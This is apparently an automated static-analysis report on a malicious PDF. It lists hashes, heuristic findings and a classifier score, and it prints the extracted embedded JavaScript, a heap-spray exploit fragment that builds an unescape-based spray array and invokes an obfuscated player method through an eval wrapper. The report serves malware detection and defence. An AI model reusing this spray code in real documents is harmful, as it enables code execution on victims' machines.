Malicious PDF — malware analysis report

Static analysis result for SHA-256 2a15074d1848c55f…

MALICIOUS

PDF

7.3 KB Created: 2009-12-17 16:59:10 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-10
MD5: 6da1fbe149fed42e85d2d62b8c3df5e3 SHA-1: 8d6ca9f3c1b018d5cfb419d26866733cd1e73829 SHA-256: 2a15074d1848c55f358ed2fb5ebc11e32010b53bf1e31ce4796044ee9b305c97
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_UNESCAPE. The JavaScript stream, named 'javascript_obj0021_000.js', appears to be obfuscated, suggesting an attempt to hide its malicious functionality. The primary intent of the script is likely to download and execute a second-stage payload, although the exact mechanism is obscured. This is supported by the 'Script obfuscation indicators' finding during static triage.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var n = unescape("%u3f42%u3792");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x1883 560 bytes
SHA-256: 6256f61657cda8684b57ba527450fb55333787fc0a9c9bd20b95051861bda73d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var n = unescape("%u3f42%u3792"); 
var xxx = 0x8000;
var sasf = "p";
var asf = "@";
var gsdgsd = "000000000000000";
while(n.length <= xxx) n += n;
n = n.substring(0, 0x8000 - asdsadas.length); 

var memory = new Array();

for(i = 0; i < 0x2000; i++)  memory[i] = n + asdsadas;
aaaaa = null;

function ffff(assdsaf){evasl(assdsaf);}
//executeFunctionByName("global.alert", My, "");
//global["ffff"]();

try
{
	
	ffff('this.mexia.newPxayer(aaaaa);');
}

catch(e){}


util.printd(sasf+asf+gsdgsd+"000000000 : pppp000", new Date());

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